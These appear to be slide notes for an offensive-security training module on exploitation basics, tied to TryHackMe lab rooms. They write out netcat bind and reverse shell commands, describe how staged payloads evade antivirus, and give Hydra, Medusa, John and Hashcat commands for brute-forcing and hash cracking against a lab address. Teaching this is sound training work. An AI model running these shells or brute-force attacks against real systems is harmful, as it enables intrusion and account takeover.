ZROC102

Module 2 – Exploitation Basics

ZROC102

ACTION ITEMS FOR TODAY:

- WALK THROUGH SLIDES

  THM FROM ENUM TO ROOT (Bounty Hacker & Anonymous)

Manual Exploitation

An **exploit** is a program that takes advantage of a specific vulnerability and provides an attacker with access to the target system. To **manually** run an **exploit**, you must choose and configure an **exploit** module to run against a target.

An exploit typically carries a **payload** and delivers it to the target system.

Most times without the use of automated frameworks like msfconsole

Reverse and Bind shells

- Netcat
  - **Bind shell scenario**: Imagine Bob (running Windows) has requested Alice’s assistance (who is running Linux) and has asked her to connect to his computer and issue some commands remotely. Bob has a public IP address and is directly connected to the Internet. Alice, however, is behind a NATed connection, and has an internal IP address. To complete the scenario, Bob needs to bind cmd.exe to a TCP port on his public IP address and asks Alice to connect to his particular IP address and port.
  - Bob will check his local IP address, then run Netcat with the -e option to execute cmd.exe once a connection is made to the listening port:

```
nc.exe –nvlp 4444 –e cmd.exe
```

Cont’d

- **Reverse Shell Scenario**

In our second scenario, Alice needs help from Bob. However, Alice has no control over the router in her office, and therefore cannot forward traffic from the router to her internal machine. In this scenario, we can leverage another useful feature of Netcat; the ability to send a command shell to a host listening on a specific port. In this situation, although Alice cannot bind a port to /bin/bash locally on her computer and expect Bob to connect, she can send control of her command prompt to Bob’s machine instead. This is known as a reverse shell.

To get this working, Bob will first set up Netcat to listen for an incoming shell. We will use port 4444 in our example: nc –nvlp 4444

Now, Alice can send a reverse shell from her Linux machine to Bob.

Nc –nv <ip> 4444 –e /bin/bash

Staged and Non-staged Payloads

A non-staged payload is sent in its entirety along with the exploit. In contrast, a staged payload is usually sent in two parts. The first part contains a small primary payload that causes the victim machine to connect back to the attacker, transfer a larger secondary payload containing the rest of the shellcode, and then execute it.

If the vulnerability we are exploiting does not have enough buffer space to hold a full payload, a staged payload might be suitable

we need to keep in mind that antivirus software will quite often detect embedded shellcode in an exploit. By replacing that code with a staged payload, we remove a good chunk of the malicious part of the shellcode, which may increase our chances of success. After the initial stage is executed by the exploit, the remaining payload is retrieved and injected directly into the victim machine's memory.

Note that in Metasploit, the "/" character is used to denote whether a payload is staged or not, so "shell_reverse_tcp" is not staged, whereas "shell/reverse_tcp" is

Password Attacks

Bruteforcing with Hydra

- We can use it to attack a variety of protocol authentication schemes, including but not limited to SSH and HTTP.
- Bruteforcing POST login form:
- $ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.120.97 http-post-form "/login:username=^USER^&password=^PASS^:incorrect" -vV -f
- Bruteforcing SSH
- $ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.120.97 ssh -V –l

Bruteforcing with medusa

- $ medusa -h 10.10.120.97 -u molly -P /usr/share/wordlists/rockyou.txt -M ssh -n 22

Leveraging Password Hashes

- What is a password Hash?
  - A cryptographic hash function is a one-way function implementing an algorithm that, given an arbitrary block of data, returns a fixed-size bit string called a “hash value” or “message digest”. One of the most important uses of cryptographic hash functions is their application in password verification.

- Identifying Hashed
  - Hashid
  - Hash-identifier

- Cracking hashes
  - John (john -format=raw-md5 --wordlist=/usr/share/wordlist/rockyou.txt hashes1.txt)
  - Hashcat (hashcat -m 0 hashes1.txt /usr/share/wordlists/rockyou.txt)

Password Spraying Vs Credential Stuffing

- Credential stuffing - use a bunch of usernames and passwords which are known to be associated with them to try and access multiple sites
- Password spraying - use a list of usernames and some common passwords (which aren't known to have been used by someone with the usernames being sent) to try and gain access to a single site
- The key difference is whether the password is known to be associated with the account or not, and whether the attack aims to get access to a single site, or to multiple sites.